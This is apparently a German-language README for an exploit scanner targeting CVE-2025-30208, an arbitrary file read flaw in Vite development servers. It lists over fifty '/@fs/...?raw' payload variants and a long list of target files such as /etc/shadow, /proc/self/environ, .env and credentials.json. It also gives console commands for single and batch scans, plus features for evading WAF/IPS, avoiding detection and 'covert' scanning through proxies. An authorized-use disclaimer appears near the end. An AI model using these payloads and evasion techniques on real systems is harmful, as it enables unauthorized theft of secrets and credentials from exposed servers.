🔥 CVE-2025-30208 Vite Scanner für beliebiges Dateilesen

📖 Übersicht

Dies ist ein umfassender Schwachstellenscanner, der entwickelt wurde, um die CVE-2025-30208-Schwachstelle in Vite-Entwicklungsservern zu erkennen und auszunutzen. Die Schwachstelle ermöglicht beliebiges Dateilesen über die Dateisystem-Endpunkte von Vite und kann sensible Konfigurationsdateien, Quellcode und Systeminformationen preisgeben.

🎯 Was dieses Tool tut

• Erkennt anfällige Vite-Instanzen in Netzwerken
• Nutzt die Schwachstelle für beliebiges Dateilesen sicher aus
• Entdeckt sensible Dateien und Konfigurationsdaten
• Meldet Ergebnisse in mehreren Formaten (HTML, JSON, Konsole)
• Verwaltet Scan-Sitzungen und Konfigurationen
• Behandelt Fehler elegant mit automatischen Wiederholungsmechanismen

🏗️ Modulare Architektur

Das Tool verfügt jetzt über eine modulare Architektur für bessere Wartbarkeit und Erweiterbarkeit:

• CVE-2025-30208.py - Hauptscanner-Anwendung
• payloads.py - Erweiterte Exploitation-Payloads (60+ Variationen)
• sensitive_files.py - Umfassende Datenbank sensibler Dateien (200+)
• html_template.py - Verbesserte Hacker-ähnliche HTML-Berichtsvorlage

🚀 Schnellstart

Voraussetzungen

pip3 install -r requirements.txt

Grundlegende Nutzung

python3 CVE-2025-30208.py

CVE-2025-30208 > set RHOST 192.168.1.100
CVE-2025-30208 > set RPORT 3000
CVE-2025-30208 > run

📋 Funktionen

🔍 Kern-Schwachstellenerkennung

• 60+ Erweiterte Payloads: Umfassende Ausnutzungstechniken für maximale Erkennung
• Intelligente Erkennung: Smarte Antwortanalyse zur Vermeidung von Fehlalarmen
• Echtzeit-Validierung: Kontinuierliche Validierung der Zielantworten
• Umfassendes Testen: Testet alle bekannten angreifbaren Endpunkte

🛡️ Erweiterte Sicherheitsfunktionen

• Proxy-Unterstützung: HTTP/HTTPS-Proxy-Konfiguration für Anonymität
• Benutzerdefinierte Header: Umgehung von WAF/IPS mit benutzerdefinierten HTTP-Headern
• Ratenbegrenzung: Konfigurierbare Verzögerungen zur Vermeidung von Erkennung
• Sitzungsverwaltung: Speichern und Wiederherstellen von Scan-Sitzungen
• Eingabevalidierung: Umfassende Parameter-Validierung

🔧 Erweiterte Fähigkeiten

• Batch-Scanning: Multi-Threaded-Scannen mehrerer Ziele
• Sensible Dateierkennung: Automatische Erkennung von 200+ sensiblen Dateien
• Konnektivitätstests: TCP/UDP/HTTP/HTTPS-Protokolltests
• Fehlerbehebung: Automatische Wiederholung mit exponentiellem Backoff
• Umfassende Protokollierung: Detaillierte Protokolle mit Zeitstempeln

📊 Berichterstattung & Ausgabe

• 🎨 Verbesserte HTML-Berichte: Schöne Hacker-ähnliche Schwachstellenberichte mit Animationen
• JSON-Export: Strukturierte Daten für weitere Analysen
• Konsolenausgabe: Farbcodiertes Echtzeit-Feedback
• Protokolldateien: Detaillierte Prüfpfade
• Interaktive Weboberfläche: Integrierter Webserver zum Anzeigen von Berichten

🔧 Nutzungsanleitung

1. Grundkonfiguration

CVE-2025-30208 > set RHOST 192.168.1.100
CVE-2025-30208 > set RPORT 3000
CVE-2025-30208 > set FILEPATH etc/passwd

CVE-2025-30208 > test

2. Schwachstellentest

CVE-2025-30208 > run

# Ausführlichen Modus für detaillierte Ausgabe aktivieren
CVE-2025-30208 > verbose
CVE-2025-30208 > run

3. Batch-Scanning

CVE-2025-30208 > set THREADS 10
CVE-2025-30208 > batch

192.168.1.100:3000
192.168.1.101:3000
192.168.1.102:3000
[Drücken Sie zweimal die Eingabetaste zum Beenden]

4. Sensible Dateierkennung

CVE-2025-30208 > scan

5. Erweiterte Konfiguration

# Proxy konfigurieren
CVE-2025-30208 > proxy
Geben Sie Proxy ein: http://127.0.0.1:8080

# Benutzerdefinierte Header setzen
CVE-2025-30208 > headers
Geben Sie Header ein: {"User-Agent": "Custom Scanner"}

# Ratenbegrenzung konfigurieren
CVE-2025-30208 > rate
Geben Sie Ratenlimit ein: 1.0

6. Verbesserte HTML-Berichterstattung

# Schönen HTML-Bericht generieren
CVE-2025-30208 > pull

# Webserver zum Anzeigen des Berichts starten
CVE-2025-30208 > web

# Webserver auf bestimmtem Port starten
CVE-2025-30208 > web 8081

# Webserver stoppen
CVE-2025-30208 > web off

📊 Befehlsreferenz

⚙️ Konfigurationsoptionen

🎨 Erweitertes Payload-System

Der Scanner verwendet jetzt 60+ verschiedene Payload-Variationen, organisiert in payloads.py:

Primäre @fs-Payloads

/@fs/{file_path}?raw??
/@fs/{file_path}?raw&url
/@fs/{file_path}?import&raw??
/@fs/{file_path}?raw&import
/@fs/{file_path}?import&url

Erweiterte Parameter-Variationen

/@fs/{file_path}?raw&source
/@fs/{file_path}?raw&content
/@fs/{file_path}?raw&data
/@fs/{file_path}?raw&file
/@fs/{file_path}?raw&type=text
/@fs/{file_path}?raw&format=text
/@fs/{file_path}?raw&encoding=utf8

Vite-spezifische Variationen

/@fs/{file_path}?raw&vite&dev
/@fs/{file_path}?raw&vite&hot
/@fs/{file_path}?raw&vite&hmr
/@fs/{file_path}?raw&development
/@fs/{file_path}?raw&debug

Modulsystem-Variationen

/@fs/{file_path}?raw&esm
/@fs/{file_path}?raw&cjs
/@fs/{file_path}?raw&umd
/@fs/{file_path}?raw&js
/@fs/{file_path}?raw&ts
/@fs/{file_path}?raw&json
/@fs/{file_path}?raw&css
/@fs/{file_path}?raw&html

Alternative Endpunkte

/app/{file_path}?raw??
/App/{file_path}?raw??

🔍 Erweiterte Erkennung sensibler Dateien

Das Tool testet jetzt auf 200+ sensible Dateien, organisiert in sensitive_files.py:

🖥️ Systemdateien (Linux/Unix)

• /etc/passwd - Benutzerkontoinformationen
• /etc/shadow - Verschlüsselte Passwortdaten
• /etc/services - Netzwerkdienste
• /etc/hosts - Hostnamen-Zuordnungen
• /etc/fstab - Dateisystemtabelle
• /etc/ssh/sshd_config - SSH-Serverkonfiguration
• /etc/crontab - System-Cron-Jobs
• /etc/sudoers - Sudo-Konfiguration

📊 Prozessinformationen

• /proc/version - Kernel-Version
• /proc/cpuinfo - CPU-Informationen
• /proc/meminfo - Speicherinformationen
• /proc/self/environ - Prozessumgebung
• /proc/self/cmdline - Prozess-Befehlszeile
• /proc/net/tcp - TCP-Verbindungen
• /proc/net/udp - UDP-Verbindungen

⚙️ Anwendungskonfiguration

• .env - Umgebungsvariablen
• .env.local - Lokale Umgebung
• .env.production - Produktionsumgebung
• config.json - Anwendungskonfiguration
• settings.json - Anwendungseinstellungen
• application.properties - Spring-Konfiguration
• application.yml - YAML-Konfiguration
• database.yml - Datenbankkonfiguration
• secrets.json - Geheimnisverwaltung

📦 Node.js / JavaScript-Dateien

• package.json - Node.js-Abhängigkeiten
• package-lock.json - Gesperrte Abhängigkeiten
• yarn.lock - Yarn-Sperrdatei
• vite.config.js - Vite-Konfiguration
• vite.config.ts - TypeScript Vite-Konfiguration
• tsconfig.json - TypeScript-Konfiguration
• webpack.config.js - Webpack-Konfiguration
• next.config.js - Next.js-Konfiguration
• nuxt.config.js - Nuxt.js-Konfiguration
• angular.json - Angular-Konfiguration
• vue.config.js - Vue.js-Konfiguration
• rollup.config.js - Rollup-Konfiguration
• eslint.config.js - ESLint-Konfiguration

🔧 Git-Dateien

• .git/config - Git-Konfiguration
• .gitignore - Git-Ignorier-Regeln
• .gitattributes - Git-Attribute
• .gitmodules - Git-Submodule
• .git/HEAD - Aktueller Branch
• .git/logs/HEAD - Git-Protokolle
• .git/refs/heads/master - Master-Branch
• .git/refs/heads/main - Main-Branch

📚 Dokumentationsdateien

• README.md - Projektdokumentation
• CHANGELOG.md - Änderungsprotokoll
• LICENSE - Lizenzinformationen
• CONTRIBUTING.md - Beitragsrichtlinien
• AUTHORS - Autoreninformationen
• TODO.md - Aufgabenliste
• ROADMAP.md - Entwicklungsfahrplan

🐳 Docker-Dateien

• Dockerfile - Docker-Konfiguration
• docker-compose.yml - Docker Compose
• docker-compose.override.yml - Überschreibungskonfiguration
• .dockerignore - Docker-Ignorier-Regeln
• docker-compose.prod.yml - Produktionskonfiguration
• docker-compose.dev.yml - Entwicklungskonfiguration

🌐 Webserver-Konfiguration

• nginx.conf - Nginx-Konfiguration
• apache2.conf - Apache-Konfiguration
• httpd.conf - HTTP-Daemon-Konfiguration
• .htaccess - Apache-Zugriffskontrolle
• web.config - IIS-Konfiguration
• robots.txt - Suchmaschinen-Direktiven
• sitemap.xml - Seitenstruktur
• manifest.json - Web-App-Manifest
• sw.js - Service Worker
• firebase.json - Firebase-Konfiguration
• firebase.rules - Firebase-Sicherheitsregeln

🪟 Windows-Dateien

• boot.ini - Boot-Konfiguration
• autoexec.bat - Auto-Ausführungsskript
• system.ini - Systemkonfiguration
• win.ini - Windows-Konfiguration
• Users - Benutzerverzeichnisse
• Windows - Systemdateien
• Program Files - Anwendungsverzeichnisse

🍎 macOS-Dateien

• System - Systemdateien
• Library - Bibliotheksdateien
• Applications - Anwendungsdateien
• private/etc/hosts - Hosts-Datei
• private/etc/passwd - Benutzerkonten

🗄️ Datenbankdateien

• database.db - SQLite-Datenbank
• database.sqlite - SQLite-Datenbank
• data.db - Daten-Datenbank
• dump.sql - Datenbank-Dump
• schema.sql - Datenbankschema
• migrations - Datenbank-Migrationen

📝 Protokolldateien

• logs - Protokollverzeichnis
• error.log - Fehlerprotokolle
• access.log - Zugriffsprotokolle
• app.log - Anwendungsprotokolle
• debug.log - Debug-Protokolle
• combined.log - Kombinierte Protokolle

💾 Sicherungsdateien

• backup - Sicherungsverzeichnis
• backup.sql - Datenbanksicherung
• backup.zip - Komprimierte Sicherung
• dump - Datendump
• export - Datenexport

🔒 Sicherheit & Authentifizierung

• auth.json - Authentifizierungskonfiguration
• credentials.json - Anmeldeinformationsspeicher
• keys.json - Schlüsselverwaltung
• tokens.json - Tokenspeicher
• jwt.json - JWT-Konfiguration
• oauth.json - OAuth-Konfiguration

🔌 API- & Dienstdateien

• api.json - API-Konfiguration
• swagger.json - API-Dokumentation
• openapi.json - OpenAPI-Spezifikation
• graphql.json - GraphQL-Konfiguration
• schema.json - API-Schema

☁️ Cloud & Deployment

• cloudformation.yml - AWS CloudFormation
• serverless.yml - Serverless-Konfiguration
• terraform.tf - Terraform-Konfiguration
• kubernetes.yml - Kubernetes-Konfiguration
• k8s.yml - Kubernetes-Konfiguration

📊 Überwachung & Analyse

• analytics.json - Analyse-Konfiguration
• monitoring.json - Überwachungseinrichtung
• metrics.json - Metrik-Konfiguration
• telemetry.json - Telemetriedaten

🎨 Verbesserte HTML-Berichterstattung

Das Tool generiert jetzt schöne Hacker-ähnliche HTML-Berichte mit:

✨ Visuelle Funktionen

• Matrix-ähnlicher Hintergrund mit animierten fallenden Zeichen
• Farbverlaufsanimationen und leuchtende Effekte
• Interaktive Elemente mit Hover-Effekten
• Responsives Design für alle Geräte
• Dunkles Thema optimiert für Sicherheitsexperten

📊 Interaktive Statistiken

• Echtzeit-Zähler für Gesamtlecks und exponierte Bytes
• Schweregrad-Indikatoren mit Farbcodierung
• Kopierfunktion für jedes Leck
• Inhaltsvorschau mit Größen- und Zeilenanzahl
• Erweiterbare Abschnitte für detaillierte Analyse

🔧 Technische Funktionen

• Google Fonts-Integration (JetBrains Mono, Orbitron)
• CSS-Animationen und Übergänge
• JavaScript-Interaktivität für verbesserte Benutzererfahrung
• Mobil-responsive Design
• Cross-Browser-Kompatibilität

🌐 Webserver-Integration

• Integrierter HTTP-Server zum Anzeigen von Berichten
• Automatisches Öffnen des Browsers
• Port-Konfigurationsoptionen
• Einfache Start/Stopp-Befehle

🛡️ Fehlerbehandlung & Wiederherstellung

Automatischer Wiederholungsmechanismus

• 3 Wiederholungsversuche: Fehlgeschlagene Anfragen werden automatisch wiederholt
• Exponentielles Backoff: Steigende Verzögerungen zwischen Wiederholungen
• Intelligente Fehlerklassifizierung: Unterschiedliche Behandlung für verschiedene Fehlertypen
• Sanfte Wiederherstellung: Das Tool arbeitet nach Fehlern weiter

Fehlerkategorien

• NetworkError: Verbindungs-, Timeout-, Proxy-Probleme
• ConfigurationError: Ungültige Einstellungen und Parameter
• ValidationError: Ungültige Eingabeparameter
• ScannerError: Allgemeine Scanner-Fehler

Validierungsfunktionen

• Echtzeit-Eingabevalidierung: Alle Parameter werden vor der Verwendung validiert
• Konfigurationsvalidierung: Vollständige Validierung vor dem Scannen
• Konnektivitätstests: TCP/UDP/HTTP/HTTPS-Protokolltests
• Proxy-Validierung: Proxy-URL-Format-Validierung

📁 Ausgabedateien

📝 Betroffene Versionen

🚨 Schwachstellen-Versionen

6.2.0 ≤ Vite ≤ 6.2.2
6.1.0 ≤ Vite ≤ 6.1.1
6.0.0 ≤ Vite ≤ 6.0.11
5.0.0 ≤ Vite ≤ 5.4.14
Vite ≤ 4.5.9

✅ Nicht betroffene Versionen

Vite ≥ 6.2.3
6.1.2 ≤ Vite < 6.2.0
6.0.12 ≤ Vite < 6.1.0
5.4.15 ≤ Vite < 6.0.0
4.5.10 ≤ Vite < 5.0.0

🛡️ Sicherheit & Ethische Nutzung

⚠️ Wichtige Sicherheitshinweise

• Nur autorisierte Tests: Verwenden Sie das Tool nur auf Systemen, die Ihnen gehören oder für die Sie ausdrückliche Erlaubnis zum Testen haben
• Verantwortungsvolle Offenlegung: Melden Sie Schwachstellen den Systembesitzern
• Ratenbegrenzung: Verwenden Sie angemessene Verzögerungen, um Ziele nicht zu überlasten
• Proxy-Nutzung: Ziehen Sie die Verwendung von Proxys für Anonymität in Betracht, wenn angemessen
• Rechtliche Konformität: Stellen Sie die Einhaltung lokaler Gesetze und Vorschriften sicher

🔒 Best Practices

• Holen Sie immer eine schriftliche Genehmigung ein, bevor Sie testen
• Verwenden Sie das Tool nur in kontrollierten Umgebungen
• Dokumentieren Sie alle Testaktivitäten
• Respektieren Sie Ratenbegrenzungen und Systemressourcen
• Melden Sie Ergebnisse verantwortungsvoll

🚀 Erweiterte Nutzungsbeispiele

Beispiel 1: Umfassender Netzwerkscan

CVE-2025-30208 > set THREADS 20
CVE-2025-30208 > set RATE_LIMIT 0.5
CVE-2025-30208 > set TIMEOUT 10
CVE-2025-30208 > verbose
CVE-2025-30208 > batch

Beispiel 2: Verdecktes Scannen mit Proxy

CVE-2025-30208 > proxy
Geben Sie Proxy ein: http://127.0.0.1:8080
CVE-2025-30208 > headers
Geben Sie Header ein: {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}
CVE-2025-30208 > set RATE_LIMIT 2.0
CVE-2025-30208 > run

Beispiel 3: Erweiterter Berichterstattungs-Workflow

CVE-2025-30208 > set RHOST 192.168.1.100
CVE-2025-30208 > set RPORT 3000
CVE-2025-30208 > run
CVE-2025-30208 > pull
CVE-2025-30208 > web 8080

Beispiel 4: Erkennung sensibler Dateien

CVE-2025-30208 > set RHOST 192.168.1.100
CVE-2025-30208 > set RPORT 3000
CVE-2025-30208 > scan

🏗️ Projektstruktur

CVE-2025-30208/
├── CVE-2025-30208.py          # Hauptscanner-Anwendung
├── payloads.py                # Erweiterte Exploitation-Payloads (60+)
├── sensitive_files.py         # Datenbank sensibler Dateien (200+)
├── html_template.py           # Verbesserte HTML-Berichtsvorlage
├── README.md                  # Diese Dokumentation
├── requirements.txt           # Python-Abhängigkeiten
├── logs/                      # Verzeichnis für Protokolldateien
├── data_leak.html            # Generierte HTML-Berichte
├── data_leak.json            # Generierte JSON-Berichte
└── session.json              # Gespeicherte Sitzungskonfigurationen

🤝 Mitwirken

Wir begrüßen Beiträge zur Verbesserung dieses Tools:

1. Forken Sie das Repository
2. Erstellen Sie einen Feature-Branch
3. Nehmen Sie Ihre Änderungen vor
4. Testen Sie gründlich
5. Einreichen Sie einen Pull-Request

Bereiche für Beiträge

• Neue Payload-Variationen in payloads.py
• Zusätzliche sensible Dateimuster in sensitive_files.py
• Verbesserte HTML-Vorlagen in html_template.py
• Verbesserte Fehlerbehandlung
• Leistungsoptimierungen
• Dokumentationsverbesserungen

📄 Lizenz

Dieses Projekt ist lizenziert für Bildungszwecke und autorisierte Sicherheitstests.

⚠️ Rechtlicher Hinweis: Dieses Tool ist nur für autorisierte Sicherheitstests und Forschungszwecke bestimmt. Die Benutzer sind dafür verantwortlich, sicherzustellen, dass sie vor dem Testen von Systemen die entsprechende Autorisierung haben. Die Autoren übernehmen keine Verantwortung für Missbrauch dieses Tools.

👨‍💻 Autor